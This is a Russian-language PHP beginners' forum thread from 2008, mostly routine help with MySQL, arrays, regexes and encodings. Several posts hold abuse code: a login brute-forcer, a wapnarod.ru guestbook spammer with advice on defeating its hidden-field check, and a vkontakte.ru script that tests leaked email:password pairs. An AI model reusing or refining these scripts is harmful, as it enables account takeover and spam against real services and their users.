Просмотр полной версии : [php] Новичкам: задаем вопросы
Gadik
http://www.pfts.com/uk_/auctions/
вызывает не 404 или обработку, а 500(Internal Server Error)
Это ладно, еще на сайте присутствует уязвимость типа sql-injection
плохо филитруемая переменная $search;
что это значит? вообще сайт не мой.
а подскажите пожалуйста по MySQL
можно ли переделать формат столбца (дата, полный формат) в ГГГГ:ММ:ДД?? т.е. отбросить часы минуты и сек?
что это значит?
я тебе в личку написал
а подскажите пожалуйста по MySQL
если ты будешь вставлять записи в формате ГГГГ:ММ:ДД, то оно и будет так записывать, а остальное дополнять нулями
если ты будешь вставлять записи в формате ГГГГ:ММ:ДД, то оно и будет так записывать, а остальное дополнять нулями
это я знаю. просто мне надо будет сверять две даты
ведь дата 28,05,08 00:00:00 не равна 28,05,08 ??
если равна и скрипт выдаст true тогда вопрос снимается
если ты сравниваешь в php, то
можешь сделать так
$time = "28.05.08 00:00:00";
echo substr($time, 0,-9);
вернет 28.05.08
а можно получать метку времени(timestamp) для каждой из дат, и сравнивать метки, тогда навернека
а если искать(сравнивать) в базе, если не ошибаюсь, то
28.05.08 вернет найдено, если в поле базы 28.05.08 00:00:00
imajo.ati
29.05.2008, 20:04
есть файл 1.txt
из него берутся 4 сроки и переводятся в переменные
$id,$name,$title,$src
и есть функция, которая использует эти переменные
function links($id,$name,$title,$src) { ... }
функция должна вызываться через eval
вызываю я ее так
eval($func($id,$name,$title,$src,$act));
где $func это имя функции, равное links
так вот, вопрос. какие символы нужно фильтровать, чтобы пользователь, который вносит туда данные, не смог выполнить произвольный пхп код.
но нужно сохранить как можно больше символов
Смотря как использовать eval()
Если
$a = "/*";
eval('my($a)');
То ничего фильтровать не нужно, так как в eval будет всегда находиться текст "my($a)" вне зависимости чему равно $a (из-за одинарных кавычек), скрипт просто передаст переменную функции, ессно $a мы должны обьявить заранее
А если eval("my($a)");
Тогда нужно фильтровать ВСЕ, так как параметр eval - всегда изменяемый, то есть вместо постоянного $a будет что-то другое, что постоянно будет подставляться в евал
чуешь разницу?
В твоем случае лучше:
eval($func.'($id,$name,$title,$src,$act)');
а переменные присвоить выше, тогда, что бы в них ни было - это будет всего лишь значением переменной
imajo.ati
30.05.2008, 11:16
В твоем случае лучше:
eval($func.'($id,$name,$title,$src,$act)');
а переменные присвоить выше, тогда, что бы в них ни было - это будет всего лишь значением переменной
понял! значит eval исполнит только $func а все остальные переменные останутся долларами =)
спасибо! именно то что нужно
groundhog
30.05.2008, 14:16
eval выполнит всё выражение, которое принимает в качестве параметра, вопрос только в области видимости и возможности инициализации используемых переменных, которые ты передаёшь в eval.
Подскажите пожалуйста, существуют ли двумерные массивы? если да, то как правильно его объявить и как обращаться к какому-нить элементу массива?
Подскажите пожалуйста, существуют ли двумерные массивы? если да, то как правильно его объявить и как обращаться к какому-нить элементу массива?
<?php
// Многомерный простой массив:
$arr[0][0]="Овощи";
$arr[0][1]="Фрукты";
$arr[1][0]="Абрикос";
$arr[1][1]="Апельсин";
$arr[1][2]="Банан";
$arr[2][0]="Огурец";
$arr[2][1]="Помидор";
$arr[2][2]="Тыква";
// Выводим элементы массива:
echo "<h3>".$arr[0][0].":</h3>";
for ($q=0; $q<=2; $q++) {
echo $arr[2][$q]."<br>";
}
echo "<h3>".$arr[0][1].":</h3>";
for ($w=0; $w<=2; $w++) {
echo $arr[1][$w]."<br>";
}
?>
<?php
// Многомерный ассоциативный массив
$A["Ivanov"]["name"]="Иванов И.И.";
$A["Ivanov"]["age"]="25";
$A["Ivanov"]["email"]="ivanov@mail.ru";
$A["Petrov"]["name"]="Петров П.П.";
$A["Petrov"]["age"]="34";
$A["Petrov"]["email"]="petrov@mail.ru";
$A["Sidorov"]["name"]="Сидоров С.С.";
$A["Sidorov"]["age"]="47";
$A["Sidorov"]["email"]="sidorov@mail.ru";
// Получаем доступ к ключам многомерного ассоциативного массива
echo $A["Ivanov"]["name"]."<br>"; // Выводит Иванов И.И.
echo $A["Sidorov"]["age"]."<br>"; // Выводит 47
echo $A["Petrov"]["email"]."<br>"; // Выводит petrov@mail.ru
?>
http://php.su/learnphp/vars/?arrays
корректно ли будет такое использование:
for($i=0;$i<$kolvo;$i++) {
$new=mysql_query("SELECT * FROM graph_company order by id asc limit ".$i.",1");
$more[0][$i]=mysql_fetch_row($new);
?
А зачем так извращаться?
Проще 1 запросом
$new=mysql_query("SELECT * FROM graph_company");
while($obj = mysql_fetch_object($new))
echo $obj->name;
Количество кортежей можно узать через
$num = mysql_num_rows($new);
ну да, ну да)))
ну форум же для новичков)
Скажите, пожалуйста, в планировщике задач на серваке стоит запись:
GET http://domain.com/1111.php > /dev/null
... что значат параметры dev и null ?
/dev/null — специальный файл в системах класса UNIX, представляющий из себя т. н. «пустое устройство». Запись в него происходит успешно, независимо от объёма «записанной» информации. Чтение из /dev/null эквивалентно считыванию конца файла (EOF).
http://ru.wikipedia.org/wiki//dev/null
возник один вопросик.
в базе в табл дата формата г-м-д
потом грабится дата с сайьа определенного формата д-м-г
для того чтобы сравнить ее с базой.
так вот, как можно это сделать если они по отношению друг к другу перевернутые?
блин как на поле чудес :)
для того чтобы сравнить ее с базой.
берешь дату в формате д-м-г и представляешь в формате г-м-д
или в timestamp, там вообще по барабану какой формат даты
хых, а как представить? я качаю с левого сервака дату в виде строки 29/05/2008
как из нее сделать 2008/05/29 ?
а тамштамп - эт что еще такое?
$date = "29/05/2008";
$array_date = explode("/", $date);
$newdate = "{$array_date[2]}/{$array_date[1]}/{$array_date[0]}";
echo $newdate;
Можно через ereg, или preg_match, я взял самый простой вариант...
timestamp
Метка времени - это цело число, равное разнице в секундах между заданной датой/временем и началом Эпохи Unix (The Unix Epoch, 1 января 1970 г)
Слушай а на@уя google.com ? ты не знаешь?
спс огромное
та в гугле мля гавна много
та в гугле мля гавна много
http://www.google.com.ua/search?hl=uk&q=timestamp&btnG=%D0%9F%D0%BE%D1%88%D1%83%D0%BA+Google&meta=lr%3Dlang_ru
Первая же ссылка
drive_pan
30.05.2008, 18:54
Помогите новичку в этом деле !!!
http://mobmob.sk6.ru/member_zone/index.php - Как сменить кодировку ???
1). Вместо тега <meta http-equiv="Content-Type" content="text/html; charset=ср1251" />
написать <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
2). Сервер отсылает браузеру заголовок Content-Type: text/html; charset=UTF-8
Его надо убрать или заменить UTF-8 на windows-1251.
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
а не cp1251
drive_pan
30.05.2008, 19:02
Заменил на <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> Не помогло.......:(
у тебя в сорсе
<meta http-equiv="Content-Type" content="text/html; charset=��1251" />
В первую очередь браузер обращает внимание на заголовок, а не на META. Сервер говорит об UTF-8, такая кодировка и выставляется.
2). Сервер отсылает браузеру заголовок Content-Type: text/html; charset=UTF-8
Его надо убрать или заменить UTF-8 на windows-1251.
drive_pan
30.05.2008, 19:08
В первую очередь браузер обращает внимание на заголовок, а не на META. Сервер говорит об UTF-8, такая кодировка и выставляется.
Как это можно сделать ??? Этот скрипт не мой а биллинговой компании, я его прикрепил к wap-engine4.2. Объясните если можно поподробней где, что и как поменять... плз...
По-видимому, сервер отправляет этот заголовок сам, это не прописано где-то конкретно в скриптах (посмотрел несколько сайтов на sk6.ru, везде этот заголовок есть). Скорее всего, если хост хороший, то отключение этой настройки должно быть в контрольной панели. Или же все скрипты придётся перевести в кодировку Utf-8.
drive_pan
30.05.2008, 19:24
УРААААА !!!! Спасибо всем за помощь, разобрался, надо было просто в .htaccess сменить дефолтную кодировку UTF-8 на windows-1251 !!!
Привет всем, никто не знает как с помощью пхп подключиться к асе или хотя бы почитать про это
Привет всем, никто не знает как с помощью пхп подключиться к асе или хотя бы почитать про это
читай про сокеты на php (http://www.opennet.ru/base/dev/php_sockets.txt.html) (я статью не читал, но их полно,если не нравится эта найдешь другую).
и еще тебе понадобится описание протокола icq - это самое геморное и сложное. ищи сам в сети его описание.
P.S.хотя сто пудова есть какие-то готовые решения. какие-то классы на php, где все уже сделано за тебя. но я о них не знаю. может дальше тебе подскажут :rolleyes:
Спасибо, я нашел если кому надо http://icq2000cc.hobi.ru/
Buffalon
31.05.2008, 14:18
Спасибо, я нашел если кому надо http://icq2000cc.hobi.ru/
http://forum.antichat.ru/thread7973-%F1%EE%EA%E5%F2%FB+php.html
Привет всем, никто не знает как с помощью пхп подключиться к асе или хотя бы почитать про это
link (http://tinyurl.com/6npkg)
Люди никто больше не знает где можно прочитать про протокол аськи
http://iserverd.khstu.ru/oscar/
Спасибо большое теперь буду переводить:)
На100ящий
31.05.2008, 16:16
Скажите как осуществить бэйсик авторизацию на пхп, тоесть подбор.
Тоесть брать с файла логин, пароль;заходить на сайт вводить лог, пасс, и анализировать верный он или нет.... Нужно только пхпкод как ввойти на серв и ввести лог, пасс!
Buffalon
31.05.2008, 16:25
http://passcracking.ru/index.php
как передать с помощью ПОста данные а потом посмотреть что он вернул
Buffalon
31.05.2008, 16:28
Скажите как осуществить бэйсик авторизацию на пхп, тоесть подбор.
Тоесть брать с файла логин, пароль;заходить на сайт вводить лог, пасс, и анализировать верный он или нет.... Нужно только пхпкод как ввойти на серв и ввести лог, пасс!
<?php
$name="r57";
$pass="r57";
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!=$name || $_SERVER['PHP_AUTH_PW']!=$pass)
{
header("WWW-Authenticate: Basic realm=\"1\"");
header("HTTP/1.0 401 Unauthorized");
exit("<b><a href=http://ya.ru>r57shell рулед</a> : Access Denied</b>");
}?>
Shadow_p1raT
01.06.2008, 10:15
Решил потенироваться на GET и POST запросах.С get запросами проблем не возникло а вот с POST вот такая проблема:
Создал я простую форму проверки типа login&pass
vs.php
<form method=POST>
Login:<input type=text name=login>
Passwd<input type=text name=passwd>
<input type=submit value=0x3>
<?php
$login=$_POST['login'];
$pass=$_POST['passwd'];
if($login=="1" and $pass=="1"){
echo "Вы прошли авторизацию";
}
else
{
echo "Пароль/логин не верны";
}
?>
И скрипт который шлёт POST запросы
brut.php
<?php
ignore_user_abort(1);
set_time_limit(0);
$browsers = array ("MSIE 6.0", "Mozilla/4.0", "Mozilla/5.0", "Opera/9.23", "MSIE 7.0");
$send = "POST http://www.test1.ru/test/vs.php? HTTP/1.1\r\n";
$send .= "Host: www.test1.ru\r\n";
$send .= "User-Agent: ".$browsers[rand(0,4)]."\r\n";
$send .= "Referer: http:/test/vb.php\r\n";
$send .= "Pragma: no-cache";
$send .= "Connection: Close\r\n\r\n";
$send .= "login=1&passwd=1";
$socket = fsockopen("www.test1.ru",80);
if(!$socket){}
else
{
fputs($socket,$send);
while(!feof($socket))
{
$file= fgets($socket,1024);
echo $file;
}
}
?>
и получаю ответ
HTTP/1.1 200 OK Date: Sun, 01 Jun 2008 06:06:44 GMT Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 Content-Length: 147 Content-Type: text/html; charset=windows-1251
Пароль/логин не верны
В чём ошибка?
Там ещё 2 хидера должно быть
Content-Type: application/x-www-form-urlencoded
Content-Length: длинна_запроса
Shadow_p1raT
01.06.2008, 13:59
NOmeR1 Что то не получается
Я модифицировал чюток vs.php
так
echo "Вы ввели $login&$pass";
А brut.php как ты сказал:
$zapros="login=1&passwd=1";
$browsers = array ("MSIE 6.0", "Mozilla/4.0", "Mozilla/5.0", "Opera/9.23", "MSIE 7.0");
$send = "POST http://www.test1.ru/test/vs.php HTTP/1.1\r\n";
$send .= "Host: www.test1.ru\r\n";
$send .= "User-Agent: ".$browsers[rand(0,4)]."\r\n";
$send .= "Referer: http:/test/vs.php\r\n";
$send .= "Pragma: no-cache";
$send .= "Content-Type: application/x-www-form-urlencoded";
$send .= "Content-Length: ".strlen($zapros)."nn";
$send .= "Connection: Close\r\n\r\n";
$send .= "$zapros";
По плану он должен вывести: Вы ввели 1&1,а я получаю: вы ввели &
Исходя из этого получается что скрипт либо отправляет пустые заголовки либо вообще их не отправляет.
$send .= "Referer: http:/test/vs.php\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Content-Length: ".strlen($zapros)."\r\n";
$send .= "Connection: Close\r\n\r\n";
Shadow_p1raT
01.06.2008, 14:09
Piflit Спасибо!получилось.
Привет всем, я бы хотел узнать есть ли в пхп многопоточность, и если есть то как
Blad94, http://www.seoblog.com.ua/2007/03/20/multiplexing-in-php/
Пишу спамер wap сервиса гостевых книг
<?
for($id=1; $id<1000; $id++)
{
$rand=rand(24000,99999);
$hostname="wapnarod.ru";
$path="/index.php?bd=1&gb=$rand&in=1";
$fp = fsockopen($hostname,80);
if (!$fp) echo "ERROR";
else
{
$data ="addName=тест&addMess=тесттест./ \r\n\r\n";
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $headers.$data);
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
}
?>
НЕ пашет, что не так?? :(
НЕ пашет, что не так??
это нужно было спрашивать в другой теме...
там добавили hidden параметр. нужно парсить страницу, что бы его получить и передать дальше в ПОСТе
Прошу прощения, думал в этой :( , можно подробней, а то мало знаю.
Помогите с регулярным выражением
есть строчка
7ac66c0f148de9519b8bd264312c4d64 abcdefg hex:61626374666173
надо из нее выбрать hash и pass
пишу
preg_match('/\[0-9a-z]{32}\s[0-9A-Fa-f]{1,8}/',$rez,$out);
где ошибся не пойму
<?php
$rez='7ac66c0f148de9519b8bd264312c4d64 abcdefg hex:61626374666173';
preg_match('/([0-9a-z]{32})\s([0-9a-zA-Z]{1,8})/',$rez,$out);
print $out[1].':'.$out[2];
?>
Просто скопируй пост, вставь в нужную тему, а здесь удали.
привет всем, я бы хотел узнать:
1.можно ли из скрипта запустить несколько других
2.можно ли запустить один скрипт несколько раз
3.они будут обрабатываться одновременно или последовательно? :confused:
!{ra!{e/\/
02.06.2008, 08:13
1.можно
2.можно
3.они будут обрабатываться одновременно
подскажите где можно почитать про обработку Excel файлов(.xls) срадствами PHP
подскажите где можно почитать про обработку Excel файлов(.xls) срадствами PHP
ищи по запросу Spreadsheet_Excel_Reader
подскажите где можно почитать про обработку Excel файлов(.xls) срадствами PHP
http://pear.php.net/package/Spreadsheet_Excel_Writer
http://www.google.com/custom?num=20...amp;sitesearch=
http://www.scriptsearch.com/details/7506.html
Доброго дня. )) новый рабочий день - новые вопросы.
Подскажите пожалуйста, что не так делаю и в чем дело:
если так прописать, то остальной скрипт работает:
$LEGEND=Array("11111111","222","33333333","акции");
а если так:
$LEGEND[$i] = $more[1];
ну так м цикл весь расписывать не буду. так вот, так уже не работает. так а почему???
выводил на экран $more[1]; они не пустые, все отлично, но не рабоатает =(
выводил на экран и все $LEGEND[$i], но в остальном скрипт не работает из-за такой строчки
прописуй
$LEGEND[] = $more[1]; и т.д
и как далее?
...у меня $more[1] - он всегда один, следующее значение в него же и перезаписывается.
а почему не работает выше указанная строка? не подскажите?
приведи весь цикл, не совсем понятно что нужно сделать
groundhog
02.06.2008, 14:06
Ты показал для начала как идёт в дальнейшем обработка массива $legend. Его обработка вкладывается в цикл заполнения массива?
Здесь я хитрым способом беру название (legend) и кол-во (values) из базы и присваиваю соответсвующим массивам.
for($i=0;$i<$kolvo;$i++) {
$new=mysql_query("SELECT * FROM structure order by id asc limit ".$i.",1") or die("Invalid query: " . mysql_error());
$more=mysql_fetch_row($new);
$VALUES[$i] = number_format($more[2],2);}
$LEGEND[$i] = $more[1];}
все отлично присваивается, но в дальнейшем я использую эти массивы для построения диаграммы.
там есть строка:
$LEGEND=Array("11111111","222","33333333","акции");
с такой строкой, если убрать вышеуказанную ($LEGEND[$i] = $more[1];), работает.
а если ее заменить на $LEGEND[$i] = $more[1]; как указал выше, то уже не работает
нет, обработка массива не вкладывается в этот цикл.
весь скрипт тут:
http://forum.antichat.ru/thread30929.html
вторая версия. ее я и хочу реализовать
У тебя лишняя фигурная скобка "}" после $VALUES[$i] = number_format($more[2],2);
А зачем столько запросов к бд?
$new=mysql_query("SELECT * FROM structure order by id") or die("Invalid query: " . mysql_error());
while($obj = mysql_fetch_row($new))
{
$VALUES[] = number_format($obj[2],2);
$LEGEND[] = $obj [1];
}
Забыл удалить ту скобку. но не из-за этого не работает...
а как можно упростить?
смотри выше, я же написал в предидущем посте
сорри, мне показалось что ты мой скрипт процитировал
ой, спасибо! и весь скрипт заработал.
исходный
for($i=0;$i<$kolvo;$i++) {
$new=mysql_query("SELECT * FROM graph_company order by id asc limit ".$i.",1");
$more=mysql_fetch_row($new);
$tiker[$i] = $more[1];
$comp[$i] = $more[0];}
оптимизированный
$new=mysql_query("SELECT * FROM graph_company order by id asc");
while($obj = mysql_fetch_row($new))
{
$tiker[] = $obj[1];
$comp[] = $obj[0];
}
посмотри пожалуйста, я правильно сделал? проверять очень сложно
посмотри пожалуйста, я правильно сделал? проверять очень сложно
Вроде правильно, а почему тяжело проверять?
mysql_fetch_row замени на mysql_fetch_array
и используй не $obj[1], а $obj['имя столбца в базе данных'], так проще и читабельней
СПС! проверять не сложно, долго потом удалять результаты работы скрипта из базы...
млин, скажите, пожалуйста, что нужно смотреть чтобы выставить правильную кодировку, а то каракули показывает. пробовал менять кодировку столбца , результат тот же
млин, скажите, пожалуйста, что нужно смотреть чтобы выставить правильную кодировку, а то каракули показывает. пробовал менять кодировку столбца , результат тот же
Ну сдесь много вариантов, от установки кодировки на странице, до запроса к базе, Попробуй например перед запросом на выбор сделать запрос
mysql_query("SET CHARACTER SET 'cp1251'");
Может кто-то с вап сайтами работал, так вот:
1)Распокавл и залить скрипт на сервер.
2)Установил базу данных MySQL (tables.txt)
3)Прописал все данные в файле inc.php (названия комнат,адрес и имя сайта,домен чата)
4)Установил права доступа 777 всем файлам с разрешением .dat и папке photos(так было в ридми написано, насчет chmod)
5)Запустил вопросы к викторине http://домен.нет/chat/down/index.php
И блин падло не работает, когда перехожу на индекс чата, пишет: error select the database...
Access denied for user 'wapmix_user'@'localhost' to database 'wapmix_chat'
А когда перехожу на страницу регистрации, все работает, а когда нажимаю "зарегистрироваться" выдает вот что: error select the database...
Помогите плизз, мож я чет не то прописал..
groundhog
02.06.2008, 17:29
Чё тут думать, реквизиты неверные... Твой юзер (wapmix_user), не имеет права работы с базой wapmix_chat.
Чё тут думать, реквизиты неверные... Твой юзер (wapmix_user), не имеет права работы с базой wapmix_chat.
Ну смотри, создаю базу, называю ее chat
Создаю пользователя, называю его user
В файле inc.php пишу следуйщее:
$MySQL_Hostname = "localhost";
$MySQL_Username = "wapmix_user"; - того пользователя что создал.
$MySQL_Password = "1111"; - пароль к нему.
$MySQLDatabasename = "wapmix_chat"; - ну и сама база.
?>
Ну так же? Или по другому? Объясни плизз.
Если юзер "user", то и писать нужно
$MySQL_Username = "user"; - того пользователя что создал.
И если база chat, то и писать нужно
$MySQLDatabasename = "chat"; - ну и сама база.
groundhog
02.06.2008, 18:01
К сожалению, Пушкин А.С. трагически погиб 10 февраля 1837 года, поэтому он не сможет за вас выдать привелегии юзеру wapmix_user на базу wapmix_chat. Но ситуацию можно исправить:
GRANT ALL ON wapmix_chat.* TO 'wapmix_user'@'localhost';
FLUSH PRIVILEGES;
Подскажите, пожалуйста, как переделать регулярку:
preg_match("/(\d+(\.\d+)?)/is",$w,$b);
так чтобы брало не только цифры, а и знак "-" (минус) если он есть
groundhog
02.06.2008, 18:11
На позиции точки?
preg_match("/(\d+([\.|-]\d+)?)/is",$w,$b);
не понял вопроса...
есть число -4.52
ругулярка берет только 4.52, а хотелось бы чтобы и минус не терялся
preg_match("/([\d\-\.]+)/is",$w,$b);
Gadik, mysql_query("set names cp1251",$connect);
Сделал..и всеравно ничего..терь выбивает:
Can not connect to MySQL
Access denied for user 'user'@'localhost' (using password: YES)
Блин да че за фигня..((
Парни, посмотрите в чем ошибся:
* Залил скрипт
* Розархивировал содержимое в папку chat
* Иду в Базы данных MySQL®
* Создаю базу данных chat
* Создаю пользователя user, присвоил ему пароль: 1111
* Иду в phpMyAdmin
* В левом углу видно базу wapmix_chat, выше нажимаю на вкладку Sql, заливаю таблицы (tables.txt)
* Появились таблицы (19 штук)
* Иду в папку chat/inc.php - редактирую, прописываю следуйщее:
<?php
$MySQL_Hostname = "localhost";
$MySQL_Username = "user"; - имя пользователя.
$MySQL_Password = "1111"; - пароль пользователя.
$MySQLDatabasename = "chat"; - сама база.
?>
Ну вроде все, главное установить, потом уже редактировать ссылки, и т.д.
В чем моя ошибка? сейчас выдает вот что: Can not connect to MySQL
Access denied for user 'user'@'localhost' (using password: YES)
groundhog
02.06.2008, 18:28
Ну если раньше он тебе позволял коннектится к базе, но не давал выбирать саму базу данных для работы, то теперь он тебе даже коннектится не даёт! Ты выполнил те запросы, что я тебе дал?
проверь имя и пароль пользователя к базе
Ну если раньше он тебе позволял коннектится к базе, но не давал выбирать саму базу данных для работы, то теперь он тебе даже коннектится не даёт! Ты выполнил те запросы, что я тебе дал?
Ну да, добавил пользователя к базе, и дал ему все Privileges
groundhog
02.06.2008, 18:35
На каком-то шаге возвращается ошибка... Как ты создаешь юзера? Как назначаешь пароль? Как даёшь ему привилегии?
проверь имя и пароль пользователя к базе
Та проверял сто раз..:(
а так разве можно писать $MySQL_Username = "user"; - имя пользователя.
я думал правильно $MySQL_Username = "user"; // имя пользователя.
я о символах перед "имя пользователя"
На каком-то шаге возвращается ошибка... Как ты создаешь юзера? Как назначаешь пароль? Как даёшь ему привилегии?
Смотри, захожу в базы данных, сначала делаю базу, потом делаю пользователя с паролем, потом добавляю пользователя к базе данных, и нажимаю на ALL PRIVILEGES, все добавило: "Пользователь wapmix_user добавлен к базе данных wapmix_chat."
groundhog
02.06.2008, 18:40
Ты это через панель на каком-то хостинге делаешь?
Мож сначала все перезалить? Чувак, невпадло, дай последовательность действий, очень прошу..
Ты это через панель на каком-то хостинге делаешь?
Ну да, через панель..
groundhog
02.06.2008, 18:42
Uin 175757. Стучи.
Lesnoy_chelovek
03.06.2008, 09:25
Как выташить все Url с сайта? Надо загнать их в массив.
Как выташить все Url с сайта? Надо загнать их в массив.
Пишешь робота-кравлера, который будет бегать по сайту, с помощбю регулярок вытаскивать линки и заносить их в базу. Далбше он должен перейти по ним и индексировать дальше. Главное чекать линки перед тем как переходить по ним, чтоб не уйти на внешние просторы.
Это имел в виду?
Lesnoy_chelovek
03.06.2008, 10:40
oRb, алгоритм сами знаем, с реализацией загвоздка.
Ну вот у меня заготовки есть
http://myorb.site88.net/crawler.zip
Но использовать этот скрипт нельзя. Тк он основан на рекурсии. Писал просто года 2 назад. особым интелектом тогда не выделялся :)
Ну для ознакомления хватит.
можете помоч
мне надо чтоб php скрипт брал текстовый файл и заменял там символы # на & и сохранял в другой файл
<?php
$f=file_get_contents('file1.txt');
$f=str_replace('#','&',$f);
$newfile=fopen('file2.txt','w');
fputs($newfile,$f);
fclose($newfile);
?>
<?
$file_source = "in.txt";
$file_dest = "out.txt";
$content = file_get_contents($file_source);
$content = str_replace("#", "&", $content);
$fp = fopen($file_dest, "w");
fputs($fp, $content);
fclose($fp);
?>
ахах, не успел. удаляйте)
Добрый день. Помогите пожалуйста с регуляркой.
раньше нужно было из текста вида:
span class="show_detail">
<P>The Anti-Monopoly Committee of Ukraine has allowed Cyprus-based Davento P.L.C. to acquire a controlling stake in TOV Briz Invest, based in Kyiv. The AMC press-service reported the development.<P>TOV Briz Invest leases property in Kyiv.</P> и т.д.
</span>
взять только все, что между <span></span>
Сейчас исходный текст имеет вид:
<span class="show_detail">
<P style="MARGIN: 0cm 0cm 6pt"><SPAN lang=EN-US style="FONT-SIZE: 11pt; mso-ansi-language: EN-US">The eighth round of negotiations between Ukraine and the European Union will be held in Kyiv between June 2-4. ...<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P><P style="MARGIN: 0cm 0cm 6pt"><SPAN lang=EN-US style="FONT-SIZE: 11pt; mso-ansi-language: EN-US">The eighth round... и тому подобная байда</SPAN></P>
</span>
и теперь мой скрипт качает только кусок который стоит до <?xml:
вот сайм скрипт:
$full_content = file_get_contents($url);
#<span class="show_detail">
preg_match('|<span class=\"show_detail\">(.*)<\/span>|Uis', $full_content,$full_cut_content);
$title = $full_cut_content[0] ;
preg_match('|<span class=topcontent style=\'margin-top: 15px;\' >(.*)<\/span>|Uis', $full_content,$body);
плиз =)
|<span class=\"show_detail\">(.*)<\/span>|
зачем экранировать двойные кавычки и слэш?
не знаю, не я писал. я еще пока не умею. и что такое экранировать тоже еще не разбирался) упс
Добрый день. Помогите пожалуйста с регуляркой.
раньше нужно было из текста вида:
span class="show_detail">
<P>The Anti-Monopoly Committee of Ukraine has allowed Cyprus-based Davento P.L.C. to acquire a controlling stake in TOV Briz Invest, based in Kyiv. The AMC press-service reported the development.<P>TOV Briz Invest leases property in Kyiv.</P> и т.д.
</span>
взять только все, что между <span></span>
Сейчас исходный текст имеет вид:
<span class="show_detail">
<P style="MARGIN: 0cm 0cm 6pt"><SPAN lang=EN-US style="FONT-SIZE: 11pt; mso-ansi-language: EN-US">The eighth round of negotiations between Ukraine and the European Union will be held in Kyiv between June 2-4. ...<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P><P style="MARGIN: 0cm 0cm 6pt"><SPAN lang=EN-US style="FONT-SIZE: 11pt; mso-ansi-language: EN-US">The eighth round... и тому подобная байда</SPAN></P>
</span>
и теперь мой скрипт качает только кусок который стоит до <?xml:
вот сайм скрипт:
$full_content = file_get_contents($url);
#<span class="show_detail">
preg_match('|<span class=\"show_detail\">(.*)<\/span>|Uis', $full_content,$full_cut_content);
$title = $full_cut_content[0] ;
preg_match('|<span class=topcontent style=\'margin-top: 15px;\' >(.*)<\/span>|Uis', $full_content,$body);
плиз =)
для этого есть удобная функция уже написаная
function preg_match_between($a_sStart, $a_sEnd, $a_sSubject)
{
$pattern = '/'. $a_sStart .'(.*?)'. $a_sEnd .'/';
preg_match ($pattern, $a_sSubject, $result);
$pattern = '/'. $a_sStart .'/';
$result = preg_replace ($pattern, '', $result[0]);
$pattern = '/'. $a_sEnd .'/';
$result = preg_replace ($pattern, '', $result);
return $result;
}
SmartMix
03.06.2008, 20:04
В GD есть функция imagepng и ей подобные imagejpeg.. и т.д. Если в вызове этой функции не указать 2 параметр то она выводит переданное ей изображение в браузер. Но если я пробую после вызова этой функции вывести текст, она вместо картинки выводит набор нечитаемых символов. Можно ли как нибудь выводить таким образом картинки с текстом? (т.е. без сохранения картинки в файл)
Нельзя выводить картинку из GD и текст после неё сразу, так как браузер получил заголовок, например, Content-type: image/png, и текст после картинки он уже не воспримет. Но можно вставлять текст и картинку так:
<img src='адрес_файла_генерирующе о_картинку.php' /><br>
текст какой-нибудь
groundhog
03.06.2008, 20:22
А что тебе мешает выводить текст через imagestring как часть картинки? Ну или как предложили - скрипт генерирующий картинку вынести отдельно, и использовать его в тегах img, а текст выводить как часть вывода самой страницы...
groundhog здарова чувак, мне нужна твоя помощь, короч помнишь чат вчерашний? Вот и там при реге, проверочного кода нет, тоесть заспамить можно скриптом, как можно сделать картинку, и ниже поле для ввода? там по ходу надо создавать *.txt файл с номерами и ссылками на картинки. но я точно не знаю, мож ты в курсах?
Всем привет!
прошу помощи по слдеующему вопросу.
Есть файл вида мыло:пасс
необходимо проверить валидность это связки.
тоесть мне надо прочитать файл далее массив и цикл?
вот запрос идет такой GET /login.php?email=".$mail."&pass=".$pass."
не могу понять как в массив все загнать ((((
Всем привет!
прошу помощи по слдеующему вопросу.
Есть файл вида мыло:пасс
необходимо проверить валидность это связки.
тоесть мне надо прочитать файл далее массив и цикл?
вот запрос идет такой GET /login.php?email=".$mail."&pass=".$pass."
не могу понять как в массив все загнать ((((
Примерно так:
$data = file('file.txt');
foreach($data as $line)
{
list($mail, $pass) = explode(":", $line);
.....
}
не пойму где ошибка
писал для себя сриптик для определения йд вконтакте по списку
<?php
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";
$data = file('accs.txt');
foreach($data as $line)
{
list($mail, $pass) = explode(":", $line);
# Соединяемся с сервером ВКонтакте.ру
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
# Авторизуемся
$out = "GET /login.php?email=".$mail."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);
# вытаскиваем кукисы из ответа сервера
preg_match("/revalidate(.*?)Location/is", $ans, $cookies);
$cookies = str_replace("Set-Cookie: ", "",$cookies[1]);
preg_match("/remixmid(.*?);/is", $cookies, $cook1);
$acook = str_replace("=", "id", $cook1[1]);
if($acook == "iddeleted");
else echo("<br>$mail:$pass:$acook</br>");
}
?>
йд выдираю из кукисов но при работе скрипта йд только к последней записи показывается ( хэлп
приветствую, проблемка такая, есть текствовый документ с программой телепередач, выводятся видом:
7-00 мультики
7-30 новости
8-00 фильм
и т.д.
как можно делать выборку по времени и выводить? тоесть вот сейчас 12-20 как сделать чтобы показывалось только то что идет с 12 и по настоящее время? спасибо
BlackSun
04.06.2008, 10:13
приветствую, проблемка такая, есть текствовый документ с программой телепередач, выводятся видом:
7-00 мультики
7-30 новости
8-00 фильм
